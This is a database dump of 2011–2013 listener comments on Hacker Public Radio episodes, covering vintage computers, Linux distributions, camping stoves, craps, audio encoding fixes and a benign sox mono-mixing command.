(142,663,'2011-03-01 18:24:17','oem','Thanks And Recommendations','Thanks for the animal and science podcast recommendations. \r\n\r\nMuch of The Cato Institute and libertarian dogma fall apart when discussed by Thom Hartmann.\r\n\r\nThe Big Picture Thom Hartmann (Video):\r\nhttps://files.thomhartmann.com/tpadmin/podcasts.xml\r\n\r\nThom Hartmann Show (Audio) 7 day delay:\r\nhttps://feedity.com/rss.aspx/whiterosesociety-org/UlFUU1NR\r\n\r\nHarry Shearer Le Show(Audio)\r\nhttps://feeds.kcrw.com/kcrw/ls','2022-02-14 13:15:33'),
(143,664,'2011-02-19 19:06:05','hutch','uhhh... wtf?','Isn\'t this really old? how could you be JUST talking about 2.7 beta 1 two days ago? i\'ve been using a release version for a while.','2017-09-09 07:41:21'),
(144,664,'2011-02-20 11:31:10','Ken Fallon','Syndicated shows','Hi Hutch,\r\n\r\nThis is a syndicated show so the content is older than normal. \r\n\r\nKen.','2017-09-09 07:41:21'),
(145,665,'2011-02-19 03:59:25','Matt','Good episode!','I really enjoyed this episode. I always avoid the craps table because it looks so confusing. I think I\'m going to give it a try. \r\n\r\nCould you talk a bit about Baccarat? How the game works and why it\'s so popular in James Bond and other films. Thanks!\r\n','2017-09-09 07:41:21'),
(146,665,'2011-02-20 00:35:41','Ayumi Yu','Good stuff','Thanks KFive, that was very informative and I enjoyed it a lot!\r\n\r\nCraps has been around for a while, right? I wonder why more people don\'t play like this. Can anyone who\'s played craps tables confirm that people indeed play the incorrect way?','2017-09-09 07:41:21'),
(147,665,'2011-02-21 17:43:00','brother mouse','interesting ep','I\'m not a gambler, but I enjoyed the content.  Thanks for posting. ','2017-09-09 07:41:21'),
(148,666,'2011-02-24 00:46:19','Quvmoh','great show!','great to see more folks addicted to this stuff :-)','2017-09-09 07:41:21'),
(149,666,'2011-02-24 23:58:20','Matt','Brings back memories of camping','My Dad had a little Coleman stove that came in a metal cube storage case. The lid of the cube case was a pan for cooking, and the base was a pot for boiling water or soup. Very compact, practical and reliable. I wish I had one! Thanks for the episode!\r\n\r\n','2017-09-09 07:41:21'),
(150,666,'2013-04-25 13:16:00','pokey','Great episode!','So I finally got around to trying out me Coleman suitcase stove. I was inspired by your HPR to hunt one down. I found one at a yard sale for $2, but I had no cash on me and couldn\'t find an ATM, so that one got away. A week later I spotted one lying in the grass at the dump. It was almost perfectly camouflaged, so don\'t ask me how I ever saw it. Anyway, I\'ve had it for almost a year now, and only just lit it. I was looking forward to working on the thing and tuning it up, so I was almost disappointed when it fired right up and put out perfect blue flames. I had only lit it to test it out, but my (12/yo) daughter was so excited, she ran in the house to get a pan and some eggs, which she fried up for us.\r\n\r\nOn a related topic, a good friend of mine was \"gifted\" with a half a dozen chicks late last fall (Surprise, here\'s chickens!). Thanks to your HPR efforts, I was able to help him build a temporary coop, and plan the larger permanent coop. It was a good time spent with a good friend (which is rarer and rarer these days), and I thought you should know.\r\n\r\nAnyway thanks again for the inspiration and education.','2017-09-09 07:41:21'),
(151,667,'2011-02-24 22:20:29','Matt','A good reminder!','One of my favorite things at the library is historical photographs and aerial photographs of the local area. Many of these resources will not make it online, or it may take some time due to cost of conversion. \r\n\r\nThe library is also a good place to \"check out\" programming books before you decide to buy them.\r\n','2017-09-09 07:41:21'),
(152,670,'2011-03-01 12:57:14','ClaudioM','Fantastic!','I have to say that this was one of my favorite HPR episodes by far.  Kudos to Tony Denton for putting it out there.  Thoroughly enjoyed listening to it and I look forward to more from Tony. Plus, the jazz transitions were a nice touch. ;-)','2017-09-09 07:41:21'),
(153,670,'2011-03-11 03:09:30','pokey','','Awesome show. I\'m not usually a fan of Jazz, but I liked yours. Maybe I should check out more of it while I wait (and hope) for your next show. Please keep them coming.','2017-09-09 07:41:21'),
(154,671,'2011-02-28 13:52:51','dodddummy','Correction.','Looks like I\'m off to a good start with the errors.  If I do more shows, there will surely be many more to follow.\r\n\r\n\'The Unix Programming Environment\' is by Brian W. Kernighan and Rob Pike, not Ritchie.  One of my other favorite books, \'The C Programming Language\', is by Brian Kernighan and Dennis Ritchie.','2017-09-09 07:41:21'),
(155,671,'2011-03-11 03:07:27','pokey','','Good show, thank you. I love the \"how I found Linux shows.\" It\'s almost like getting to know someone. I found Linux because I didn\'t like Vista. If there were more to it than that, I would do a show too. Obviously your story is more interesting than mine. Thanks for telling it.','2017-09-09 07:41:21'),
(156,671,'2011-03-12 01:36:01','dodddummy','','I like them, too.  For the same reason.','2017-09-09 07:41:21'),
(157,671,'2012-11-27 21:50:57','newbee','','boring...','2017-09-09 07:41:21'),
(158,671,'2012-11-28 22:48:45','Ken Fallon','constructive remark','I personally found the show very interesting and would like to thank you for the comment as I got to enjoy it again.\r\n\r\nIf you would like to go into more detail as to where you think improvements could be made then feel free to submit a show yourself.','2017-09-09 07:41:21'),
(159,672,'2011-03-11 03:03:46','pokey','Nice!','Good show, and good idea for a series. I\'ve just been looking at computer components on newegg too, so this was nice and timely for me. I wasn\'t really considering AMD, but I guess probably should.','2017-09-09 07:41:21'),
(160,672,'2011-03-11 17:27:48','Claudio Miranda','Thanks!','Thanks for the comment!  Glad you enjoyed it.  I hope that someone would be willing to take up the Intel side in a series like this as it would be an equally helpful series IMO.  My next one will include some other sites I referred to for a motherboard.  Hopefully that will come soon.','2017-09-09 07:41:21'),
(161,672,'2011-05-21 21:44:39','diablomarcus','Will be useful sooner than I thought','Seeing as my current laptop just blew up, I\'m going to be building a gaming computer. Going back to relisten to these :) Thanks!','2017-09-09 07:41:21'),
(162,675,'2011-03-11 03:01:26','pokey','','Wow. This was really well presented. I usually gloss over at code. I just have a hard time following, but not so much this time. Your show was really good, and I really enjoyed it. \r\n\r\n','2017-09-09 07:41:22'),
(163,675,'2011-03-15 13:07:40','Doug','Thanks!','Pokey,\r\nYeah, I was concerned about doing a programming podcast in audio only, I\'m glad it made sense!\r\nThanks for the nice comment!\r\nDoug','2017-09-09 07:41:22'),
(164,676,'2011-03-08 03:53:18','code cruncher','CMS ... features of wordpress','... so you are trying to decide whether to keep this CMS or replace it with another one?\r\n\r\nYou mentioned wordpress. I know wordpress a little bit and here is what I like about it:\r\n- It is extendable. You can add anything you want. It\'s php, mysql and css.\r\n- It gets updated. Good for security!\r\n- User management is taken care of. People could sign up to become part of the community (less spam in comments).\r\n- It can send email when someone posts a comment to your post or responds to your comment etc. \r\n- It is simpler than most other CMS (eg, Drupal, Joomla, Typo3) to install, set up, get plugins, create themes, ... \r\n- I think it can do what you listed. It does pretty names for posts; doing pretty names for hosts may require some programming.\r\n\r\nmy 5 cts ... looking forward to other input and opinions ... cc.\r\n','2017-09-09 07:41:22'),
(165,676,'2011-03-12 18:05:31','brother mouse','yay, Pokey\'s mom!','That was neat.  I hope it encourages fence-sitters to jump right in.\r\n\r\nFor shy onlookers:  I have made _many_ mistakes so far and Ken has been helpful, gentle, and encouraging.  No f33r!','2017-09-09 07:41:22'),
(166,676,'2011-03-15 02:09:38','pokey','Well done, Ken &amp; thanks, brother mouse.','Ken, great job on the promo. People should know that it was your idea, and that I screwed up in writing the script with my mom in forgetting to also credit Finux for the UK call in number.\r\n\r\nbrother mouse, I think MrGadgets was encouraged to do episode 681, so you got your wish. Nice one!','2017-09-09 07:41:22'),
(167,677,'2011-03-10 22:39:41','MrsXoke','Thanks!','I really enjoyed this!  Thank you for sharing your thoughts and encounters, and delivering them in a way that was easy to understand and pleasant to listen to.  As a side note, I am going to be listening to Blue Heaven tonight once Xoke gets home, so he can hear it too.  I am looking forward to it.','2017-09-09 07:41:22'),
(168,677,'2011-03-11 13:42:23','lostnbronx','Thanks So Much!','Glad you enjoyed it!  Perhaps you could consider making your own production: maybe a dramtized version of \"The Adventures Of Captain Dramatic\"?  Man, I would listen!','2017-09-09 07:41:22'),
(169,678,'2011-03-11 02:57:30','pokey','','Great show. Lots of fun. I can\'t wait for the next one.','2017-09-09 07:41:22'),
(170,678,'2011-03-12 01:34:12','dodddummy','','I always love the darwin award type stories.','2017-09-09 07:41:22'),
(171,681,'2011-03-15 02:19:46','pokey','Fun show. ','I enjoyed your episode twice today. It was definitely worth a re-listen. It was very cool to hear about the first multimedia computer. I know how exciting it is to upgrade my computer I can only imagine how cool it would have been to be one of the only guys to have ever done so on a home computer. That must have been pretty scary too. I\'d have been nervous to screw something up anyway.\r\n\r\nCongratulations on being the first HPR call in show! It sounded good, It was fun to listen to, and I hope some others are encouraged to follow your lead. I see you\'ve got a few more shows in the queue. I can\'t wait hear them all. It\'s so tempting to go grab stuff ahead of time, but that just wouldn\'t be fair.','2017-09-09 07:41:22'),
(172,681,'2011-03-21 06:41:13','brij','come issue in encoding','For some reason I got this episode in double speed. Currently am working on it in Audacity. I had to lower the speed by 80% for me to be able to hear the episode. The funny thing is that this only affected the actual episode and not the HPR intro at the beginning. In other words the first 40 seconds are fine. The feed I use is https://www.hackerpublicradio.org/hpr_rss.php if that helps.\r\n\r\nCheers for a good episode.','2022-02-14 13:15:33'),
(173,681,'2011-03-21 19:33:56','Ken Fallon','Entirely my fault','There seems to be a issue with the way I encoded this one. I\'m working on the issue.\r\n\r\nThanks.\r\n\r\nKen.','2017-09-09 07:41:22'),
(174,681,'2011-03-21 20:23:09','Ken Fallon','iTunes issue','Hi All,\r\n\r\nThis appears to be a iTunes only issue (correct me if I\'m wrong). The file was processed by iTunes and I have re-triggered it to fetch the latest file. However this is not automatically done for people that already have the file. So please download the file again.\r\n\r\nThis is our first dial-in episode so the workflow is still a bit in flux. So please if you notice any problems with the audio please post here or email admin at hpr.\r\n\r\nKen.','2017-09-09 07:41:22'),
(175,681,'2011-04-01 05:53:16','brij','Not exclusive to iTunes','Hi Ken,\r\n\r\nSorry for delay in responding. I just wanted to say it is not an exclusive iTunes issue as I was on Ubuntu with gPodder. Having said that I have not heard the next two episodes by Mr. Gadget. I will check it out today and update you on how the encoding it is.','2017-09-09 07:41:22'),
(176,681,'2011-04-13 04:32:10','brij','Working fine','All the episodes are working fine now. A special thanks again to Mr. Gadget for a wonderful series.\r\nGreat job, Ken and team, in setting up this phone-in lines.','2017-09-09 07:41:22'),
(177,682,'2011-03-16 18:28:36','scriptmunkee','More the one online tax filing option','As pokey mentioned, there is https://www.taxact.com for online tax filling. But what he didn\'t mention is that https://www.turbotax.com also has an online tax filing product. From my experience Linux with Firefox is supported by TurboTax.\r\n\r\nOverall, use what works best for you.\r\n','2022-02-14 13:15:33'),
(178,682,'2011-03-21 00:26:24','pokey','Thanks scriptmonkee','I didn\'t know that turbotax had an online service. I appreciate you adding that to the comments, and adding to the general knowledge base here.\r\n\r\nI heard of one more that seemed to be well liked after I posted the show, but I can\'t seem to remember now what that was. If anyone else has more suggestions for getting taxes done with Linux, this is as good a place as any to post a link. ','2017-09-09 07:41:22'),
(179,684,'2011-03-17 17:58:54','Cillian de R&oacute;iste','GRMA','Maith th&uacute; a Ken! N&aacute;r laige Dia th&uacute;! Chuala m&eacute; an l&eacute;acht seo cheana f&eacute;in agus t&aacute; s&eacute; tau!\r\n\r\nLe meas,\r\ngoibhniu','2017-09-09 07:41:22'),
(180,684,'2011-03-20 21:42:51','Jonas','Normalized Cloud','This is of course a nice approach to the downside of facebook. I agree that someone else tracking by log is not ideal. How many of us only log onto the \"trusted\" networks with status.net service such as the old tllts status.net cloud? The techs there are far superior to many of us normal users and there were numerous problems getting access to the service even outside of many total outages. I would certainly rather have my posts scattered across many hosts rather than something central like facebook. That does obfuscate the logs and make it harder to gather all the users data easily.  Even then, though, the isps would still have logs of the interconnected traffic. My point is this sytem would make more difficult what is very easy for google and facebook and twitter, but it still does not make coallating user usage impossible. This idea reminds me of TOR. TOR does not completely anonymize anyone, it just makes it really difficult to connect one endpoint to another for the purposes of prosecution or otherwise. A lot of people think they are fully anonymized with TOR, but I\'ve not heard any TOR engineer claim that.\r\nAlso, let\'s say that anyone running their own social network peer wants to have advertising on their freedom box. To advertise the owner would need to share the log info with the ad company. Then we\'re back to spying included for free, or at least spying for free to the owner of the box. Nothing is free for the advertiser of course.  Yes it would take a while to build the database, but that just translates to more cost to the advertiser. I\'m not arguing against doing this. I just want to point out that this just commutes the problem, it doesn\'t really solve the problem. I\'ll be the first to buy a freedom box, but I won\'t delude myself into thinking \"gee when everyone does this, we\'ll be truly free at last\". Look into it. It\'s cool. It\'s free software. It\'s fun. It\'s awesome. In the voice of Jim Carey \"I like it a lot\". ','2017-09-09 07:41:22'),
(181,684,'2011-03-21 00:21:27','pokey','Wow! Brilliant!','Ken Thanks for the lovely intro to this show. It was a very nice St. Patrick\'s day gift. I have no idea what you said, but I can guess, and I enjoyed it almost as much as if I did.\r\n\r\nEben Moglen is a brilliant speaker. I\'m not always as interested in his talks, but this one really grabbed me. It is one of the best talks I\'ve ever heard form any speaker. It was informative, moving and understandable. Eben is one of the more level headed and reasonable evangelists in the Free software community. I feel like I can even share this talk with some of my more academic, and less computer savvy friends.\r\n\r\nGreat choice for a syndicated show!','2017-09-09 07:41:22'),
(182,684,'2011-03-26 09:01:34','Dodgy Geezer','Great Episode.','Thanks for posting that episode. That was an awesome talk. I do have one gripe however, and that\'s the volume levels. I can understand there being great differences between Podcasts, but please not within an episode.','2017-09-09 07:41:22'),
(183,684,'2011-03-27 13:21:14','Curbuntu','Kudos','Ken,\r\n\r\nI had not heard of Eben Moglen until this episode, but I thank you for introducing him to us.  I\'m not normally a fan of overly long podcasts, but I was disappointed when this episode came to a close -- because it seemed too short.','2017-09-09 07:41:22'),
(184,686,'2011-03-27 13:33:53','Curbuntu','Humor AND Banjos','MrsXoke,\r\nYour injections of humor into our intravenous drip of podcasts are appreciated.  Equally appreciated is exposing us to the Heftone Banjo Orchestra, starting with your previous episode.  My wife\'s musicals tastes, while they lean heavily towards classical, encompass some of the more eclectic and offbeat instruments, like balaiakas, mandolins, harpsicords (specifically Scott Joplin played on harpsicord!), accordians, and the glass armonica (yes, that\'s spelled correctly).  Judging by her initial reaction to an HBO piece (your first podcast sent me to the HBO website), I can envision a Heftone Banjo Orchestra CD under this year\'s Christmas tree.  Thanks!','2017-09-09 07:41:22'),
(185,688,'2011-03-26 23:15:09','(Z)','Thanks','Really liked the book. \r\n','2017-09-09 07:41:22'),
(186,691,'2011-03-29 13:01:35','mail junky','','Gosh that brings back memories. \r\n\r\nYes, the c64 used the same plug in modems as the vic 20. Talking about modems, I remember getting into ascii codes so I could use the c=64 to access the credit bureau via dial-up like I did with the printing terminal at work. (legally of course). There was one company that made a modem that was proprietary non-standard in a patent sort of way. it was faster than most of the 300 buad modems at the time. You had to use their software or not use the modem. We figured out how the software worked and applied the changes to the modem software everyone used. The Geohotz hack of the time. Never got sued though. Their software was crappy anyway with no up to date file transfer methods. I will never mention the modem company name. I remember writing my own modem software so you could do xmodem file transfers instead of ascii dumps. Eventually wrote my own bbs software.  \r\n\r\nNo system could read another computer systems disks back then, so moving data was a pain. Not only was the disk formatting different in those days but the way data was represented in a file was also different. The letter \"a\" might be stored as a 65 on one system and another number on some other system. Once rs232 interfaces came out so computers could talk directly to each other without having to use a modem, we used ascii translators to send files between computers for when people were changing systems so the old files could still be used. In fact, I did quite a bit of that for people to move and use the old eight bit (Apple II, TRS-80, C=64, and etc) data files on the pc.   \r\n\r\nFloppy trivia: There was a special gadget that cut slots out of the sides of soft floppies to make them flippies so you could get twice the storage. \r\n\r\nOne machine that is not talked about very much that was way ahead of it\'s time was Datapoint.  Datapoint was an octal not a hex based machine, which made things fun. It was networkable via arcnet. in fact the network addresses had to be configured with jumpers on the cards. That would never work today. The os was multi-user though jobs had to be submitted in batch order. In fact, my first real computer job was a maintenance programmer using databus and rpgII on those systems. They had these bulky 5 and 10 gig removable hard disks that took 10 to 20 minutes to come up to speed in the morning before you could do any work.\r\n\r\n','2017-09-09 07:41:22'),
(187,691,'2011-04-19 16:53:14','Buffalo Pete','Cheers!','Another great episode! (I\'m way behind on my HPR episodes, I just heard this one last night.) I enjoy your phone-in shows from the car!','2017-09-09 07:41:22'),
(188,692,'2011-03-29 13:10:23','mail junky','','Makes me think of this: https://www.porcupine.org/satan/ (Security Administrator Tool for Analyzing Networks)','2022-02-14 13:15:33'),
(189,692,'2011-04-13 14:30:42','pokey','I remember this from the campaign','I ran several takes of him saying that through audacity myself back then to verify it. Funny.','2017-09-09 07:41:22'),
(190,696,'2011-04-05 20:35:35','(Z)','Something wrong...','This does not seam to be the last part, and Mr Gadgets also states that the next part will be \"the path towards linux\". Still a nice episode.','2017-09-09 07:41:22'),
(191,696,'2011-04-06 21:11:44','Claudio','Loving It!','I have been thoroughly enjoying MrGadgets\' submissions, and this one also does not disappoint.  After hearing this episode, I feel like we\'re kindred spirits.  I also studied Sound Engineering and have always had a love for computers and music, and eventually that also led to synthesizers.  Hearing MrGadgets sprinkle some talk of synths in his history of computers (and journey to Linux) really made my day.  I have Mark Vail\'s Vintage Synths book and spent hours reading the history of synths from the analog Moogs and ARPs to the digital DX\'s and Mirages, and evreything in between.  MrGadgets, if you\'re reading this, I definitely look forward to your segments on vintage synths.  Kudos on all of your segments thus far. :-)','2017-09-09 07:41:22'),
(192,696,'2011-04-07 05:12:33','Ken Fallon','My fault (again)','I\'ve spoken to the man himself and it is not the end ....','2017-09-09 07:41:22'),
(193,696,'2011-04-13 14:28:29','pokey','','Some of the best, and most fun HPR episodes that we have. You always keep us wanting more, so keep them coming!','2017-09-09 07:41:22'),
(194,698,'2011-04-10 16:25:09','brother mouse','interesting show','I like hearing about technical problems other folks encounter, their approaches to figuring them out, and the resolution.\r\n\r\nKeep up the good work. ','2017-09-09 07:41:22'),
(195,698,'2011-04-13 14:25:09','pokey','Good episode. I loved it.','It was great to finally hear your voice on HPR after all the hard work you\'ve done for the site.\r\n\r\nThe Morse code keyboard LED was brilliant and fun.','2017-09-09 07:41:22'),
(196,699,'2011-04-13 14:20:29','pokey','','Awesome show from start to finish. The callers were mostly jerks. But what can you do? Capt\'n Crunch is a fascenating man, and the interviewer\'s questions were great. Thanks to our own SigFlUP for representing us the right way.','2017-09-09 07:41:22'),
(197,699,'2011-04-19 03:25:33','ClaudioM','','I\'m with pokey on this one.  I thoroughly enjoyed the interview, save for the idiots that were wasting his time and the host\'s time.  But thankfully there were some mature callers who asked some interesting questions.  Also was cool hearing SigFLUP calling in. :-)  Great episode overall.','2017-09-09 07:41:22'),
(198,699,'2013-02-10 09:28:22','Derp','Captain crunch ass','This interview was insightful, yet antiquated reminiscence.  No fault to roxy, she was great but cpt. Crunch was so full of himself, (like al bundy reminiscing of  the old high school football days), mixed with nerdy social awkwardness which apparently he never outgrew. \r\n\r\nTo cpt crunch:\r\nIn short talking non-stop of yourself, bloating your own inner ego of days gone by, answering your cell phone in the middle of an interview makes for one huge asshole of an interviewee.\r\n\r\nFor google search results \"captain crunch is an asshole hacker\"\r\n\r\nKeep that in your back pocket for future interviews...although i doubt there will be one.\r\n\r\nP.s. you sound like the father of skunkworks','2017-09-09 07:41:22'),
(199,702,'2011-04-13 14:37:24','pokey','Very compelling episode','I never knew any of this. I know it was just a computer reading Wikipedia, but I could feel my heart rate increase just a bit during this \"reading.\" Excellent selection. Thanks Ken.','2017-09-09 07:41:22'),
(200,702,'2011-04-23 16:39:41','klaatu','hoax','space travel is a hoax and doesn\'t exist.  i saw it on tv.','2017-09-09 07:41:22'),
(201,702,'2011-04-25 16:24:44','Space Travel','On the contrairy ','I am very real, and you can\'t stop me. You\'re traveling through space right now, and you\'re not even trying.\r\n\r\nKlaatu, on the other hand, does not exist. He is a recursive figment of his own imagination. ','2017-09-09 07:41:22'),
(202,702,'2011-05-18 19:25:05','Buffalo Pete','Unbelievable','Hearing Gagarin\'s voice during that flight is...amazing. Truly, he was speaking from the frontier. Everyone who\'s ever gone into space since, whether into orbit, to the ISS, or even to the moon, has in some way been following Yuri. But that day, he was truly going where no man had gone before.\r\n\r\nGreat show, Ken.','2017-09-09 07:41:22'),
(203,703,'2011-04-13 14:15:47','pokey','','Best pronunciation of GNU I\'ve ever heard.','2017-09-09 07:41:22'),
(204,703,'2011-05-11 17:30:23','Bob Evans','The digiac 3080 was a thrill','The https://home.att.net/~efelberbaum/digiac.htm web page dedicated to the digiac 3080 seems to be gone (except perhaps from the internet archive wayback machine.)\r\n\r\nViewing the picture in the show notes, the 3080 is completely contained within the desk in the foreground.  The Selectric I/O writer and the switch/light panel atop the desk were two of the ways to load programs.  There also was a paper tape reader and punch on the front side of the desk to the right of the man in the dark jacket.  The 3080 I used also had a card reader but I do not see one in the picture.\r\n\r\nThe 3080 had 4096 words of memory, and each word contained 25 bits.  There was no stack and program execution ran slowly, at about 1000 instructions per second.  These machines were used for education; numerous hackers of my generation first got the thrill of a machine following our instructions on a digiac 3080.\r\n\r\nPS:\r\n I try to pronounce gnu with a silent G.','2022-02-14 13:15:34'),
(205,703,'2012-01-04 01:09:27','Bob Evans','Digiac 3080 info is online again','Ed Felberbaum has reestablished his Digiac 3080 Tribute page at Wordpress...\r\n \r\nhttps://digiac3080.wordpress.com/\r\n\r\nEd has avid interest in any surviving Digiac 3080 artifacts.','2022-02-14 13:15:34'),
(206,703,'2013-12-26 23:07:59','Frank S','I remember you, Bob!','We spent quite a few hours in that third-floor computer lab. Learned a lot about under-the-hood computing. (Still not sure that sign-magnitude was the best choice for a teaching computer.)  Having spent some time in the employ of big Wall Street firms, I\'m still impressed with the stock-trading game you managed to shoehorn into 4K!  Hope you are well.','2017-09-09 07:41:22'),
(207,705,'2011-04-16 12:34:12','pokey','Best of luck at LFNW','I wish you the best of luck at LFNW. Remember that you\'re there to have fun, and try not to stress over any of it. There will be tons of cool people there, and I wish I could be one of them.\r\n\r\nThank you for helping to get HPR seen, heard and noticed. Thank you for posting your first episode.\r\n\r\nYou should be getting a box full of stuff for the fest in the mail any day now. You guys are great for doing this.\r\n\r\n-pokey','2017-09-09 07:41:22'),
(208,706,'2011-04-19 13:21:52','pokey','','This was great. Everybody should listen to this episode before being allowed to graduate high school. What a long way this would go to bridging the awkward gap that so many sighted people are afraid to cross on their own. Thank you.','2017-09-09 07:41:22'),
(209,706,'2011-04-27 20:46:44','Paul Ortyl','','Idea for another episode:\r\n* Please describe your hardware/software setup for everyday use\r\n* Hints for software developers to have in mind in order to develop accessible software \"by default\"\r\n* The same as above, but in context of mobile phone, smartphone ','2017-09-09 07:41:22'),
(210,706,'2011-05-18 20:47:35','Buffalo Pete','Thanks!','What Pokey said!\r\n\r\nthanks-\r\nPete','2017-09-09 07:41:22'),
(211,707,'2011-04-19 13:13:35','pokey','I have to disagree on several points.','I do not think that Linux is dead on the desktop. If the desktop itself is dead, than that makes Linux all that much more viable as a desktop OS. Assuming that you are correct about people abandoning desktop and laptop computers; Which OS are they abandoning? I propose that most Linux users are Linux fans, and that Linux fans are not likely to abandon desktop computing. Therefor, assuming you\'re right about desktops; Windows\' market share should steadily decrease while Linux\'s market share steadily increases, and overall computer usage steadily decreases. \r\n\r\nI also will say that Ubuntu was my first Linux distro, and that I left Windows to use Ubuntu. I know another guy of whom that is also true. I owned computers running windows for 11 years before I ever tried Linux. I have two other friends for whom I have built or bought computers, and installed (exclusively) Linux on. One is running Ubuntu, and one is running Mint Debian (a distro which was founded upon Ubuntu, but has switched it\'s core out for Debian). Thus my argument here is that Ubuntu has done a good deal in my personal experience to switch people away from windows. \r\n\r\nAs far as your reasoning to migrate (and migrate our friends, etc...) from Ubuntu to Debian, I fully agree. Debian is very easy to use, modify and live with. It\'s only slightly harder than Ubuntu to install, though it\'s a good deal more complicated to (full) upgrade. I have been slowly migrating my own computers, and others\' computers that I\'m responsible for to Debian, or Debian based systems (like Mint and CrunchBang) for the past two years. I have been happier overall With Debian, and so have the people I administer computers for. I think that Debian as a desktop system is nearly perfect. Tools exclusive to Debian based systems like deborphan, localepurge and module-assistant only help to strengthen that opinion for me.\r\n\r\nI don\'t think that I would agree that we should be helping to migrate people to smartphones. At lease not to what are currently defined as smartphones. I think we should encourage people to use Free software applications, and to save and store their data in Free and \"open\" formats. I think the core of the system is less important in that regard than the user level applications. I\'d rather see a loved one using free software applications like Firefox, and Libre Office on a Windows machine than Closed source and proprietary software on Android. At least that way they could retain their own data. Having a Free kernel does not offer as many tangible benefits to the lay-user as Free applications do. (Having both Free is obviously superior to either option)\r\n\r\nIf there were a Free smartphone OS that was as ready for the average user as Gnome, KDE, LXDE or XFCE (and perhaps others) are on the desktop, I\'d probably concur if not agree with you on that point. As it stands I can not.\r\n\r\nThank you for contributing such an accessible and thought provoking show. While I disagree with several of your supporting points, I enjoyed hearing your whole show, and I agree with your overall point of questioning, if not abandoning Ubuntu. It was a good, and fun episode. I hope you decide to do more in the future.\r\n\r\nSorry to write a book in response, but like I said, it was thought provoking. :)\r\n\r\n-pokey','2017-09-09 07:41:22'),
(212,707,'2011-04-27 01:12:37','Ice_Oz','nice webcast','excellent webcast!  I agree with most of your points and think you need to put more webcasts out.  thanks for all you do.','2017-09-09 07:41:22'),
(213,707,'2011-04-28 07:40:07','Steve','Ah, yeah sorta','Can\'t say that I disagree with your astute observations, but I still think plain Debian is a little vanilla for me.\r\n\r\n... on a side note; does anyone know who the girl is singing the song at the end of this segment?  I love that song but have no idea who it is. ','2017-09-09 07:41:22'),
(214,707,'2011-04-28 07:52:39','Steve','Ah, yeah sorta','Yep, you\'re definitely right most people (the great unwashed masses) will be content in the future with simply fancier smartphones, and while I\'ll have one too of course (yeah, I\'m an Android guy) I will always also have a laptop too.  But you know maybe that\'s not so bad... perhaps (true) computers will once again be the domain of the geeks.  Now if we could just do something about Star Trek.   :-)\r\n\r\n(loved the song that followed your talk, I was thinking cool that girl has a sound a lot like the chemical brothers... then I looked up the lyrics and sure enough, somehow this is the one chemical brothers song I\'ve missed)\r\n\r\nSeriously though, that was an interesting and thought proving talk... keep it up.  \r\n\r\n\r\n\r\n\r\nCan\'t say that I disagree with your astute observations, but I still think plain Debian is a little vanilla for me.\r\n\r\n','2017-09-09 07:41:22'),
(215,710,'2011-04-22 18:49:35','pokey','Great episode. Welcome to HPR.','Thanks for contributing such an interesting show. I liked hearing it, and I hope you guys do keep up a by-weekly schedule, because I\'m looking forward to it. You said you don\'t think anyone would listen, but it was good. \r\n\r\nYou\'d be surprised how many people actually listen to HPR, and I suspect most listeners won\'t skip your show. It\'s something we haven\'t heard here before. Mexico\'s culture is something lots of us (especially in the Northern US) know nothing at all about. Mexico\'s hacking culture is even more interesting. I can\'t wait for your next show.\r\n\r\nPlease get in touch with me on IRC, or on the HPR mailing list so I can send you guys some HPR stickers (If you want some). badbit, I\'ll send you a few extra for your hacker space if you want. I haven\'t sent any to Mexico yet, so it would be a real treat for me too.\r\n\r\nsikilpaake, the word you were looking for is \"doorway.\" You have doorways with no doors in them. That\'s pretty rough, man.','2017-09-09 07:41:22'),
(216,710,'2011-04-23 16:37:07','klaatu','Great Ep','Great episode.  I had no idea what to expect but I\'m hooked.  BASIC books in espanol in Pick n\' Save ... FTW.','2017-09-09 07:41:22'),
(217,710,'2011-04-23 22:28:51','Quvmoh','great show','cant wait to hear about the hacker space, scared me to death when one of you cleared your throat in my left ear while the music was playing :-) ','2017-09-09 07:41:22'),
(218,710,'2011-05-09 06:32:43','diablomarcus','Loved it!','This was a great show and I really enjoyed it.\r\n\r\nOne suggestion though:\r\nCould you mix the voices onto either Mono or to share the two voices on stereo (audacity can do either one)?\r\n\r\nI usually listen to podcasts on only my right earphone so for the first part of the episode I was only able to hear one half of the conversation.\r\n\r\nThanks!','2017-09-09 07:41:22'),
(219,710,'2011-05-12 10:59:13','pokey','LOL diablomarcus... me too','The same thing happened to me, but I wear my earbud in my left ear. So between the two of us, we got the whole show. ;) \r\n\r\nLuckily, I have rockbox on my clip+, and I was able to adjust it to output in mono, because this was a great episode.','2017-09-09 07:41:22'),
(220,710,'2011-05-13 05:04:59','Ken Fallon','sox to the rescue','I mix down all my podcasts with sox to\r\nmono using the \"remix -\" option. The tempo option speeds them up keeping the pitch.\r\n\r\nsox \"${FILE}\" \"${FILE}-faster-${SPEED}.ogg\" -V9 tempo ${SPEED} remix -\r\n','2017-09-09 07:41:22'),
(221,712,'2011-04-26 17:33:38','klaatu','config file','Glad you\'re enjoying the config file helpful, and that it speeds up the work.  I find the same to be true, obviously :-)\r\n\r\nI love the jazz segue music between segments.  Super cool.  You should record some loops and post on freesound.org so I can steal them.\r\n\r\nAlso, that Zoom h4n is AMAZING!!!  I sometimes get a chance to use one when recording voice-over talent, and I am always floored by the sound quality.\r\n\r\n-- klaatu','2017-09-09 07:41:22'),
(222,712,'2011-04-26 23:16:32','claudiom','Another Great One!','Another great episode!  I thoroughly enjoyed this one just as I did the last one.  I\'ll definitely consider the microphones you\'ve used as well as klaatu\'s Audacity config file.  I also agree with klaatu on the jazz segues you\'ve used.  Was that you playing on them?  Either way, it was fantastic.  Oh, and thanks for the shout-out.  I\'m also glad to hear that you\'re enjoying LinBasement.  Cheers!','2017-09-09 07:41:22'),
(223,715,'2011-04-29 18:19:29','droops','You forgot several very important people','Which will happen, I am sure I am forgetting people too.\r\n\r\nThe first is Dosman, he and I were on the phone and decided to record our conversation and put it up as the first TwaTech episode.  We really thought it would be 10 episodes.  \r\n\r\nThe second is J-Hood, he was the first guy to submit a community episode (#4), how cool is that?\r\n\r\nThe third, in no order, is p0trill0, he was the first real admin of this idea, he was in high school and we had no idea who he really was, but he is the first hard core guy that convinced us to make it daily for real.\r\n\r\nThanks guys and gals for all the help, this is the coolest show on the internets. ','2017-09-09 07:41:22'),
(224,715,'2011-04-30 08:38:29','Bariman','Thanks for a very informative discussion','I was unaware of the BinRev Forums until I listened to this episode. I have registered and would hope more HPR contributors do so.\r\nThanks to StankDawg for his support and contributions.\r\n','2017-09-09 07:41:22'),
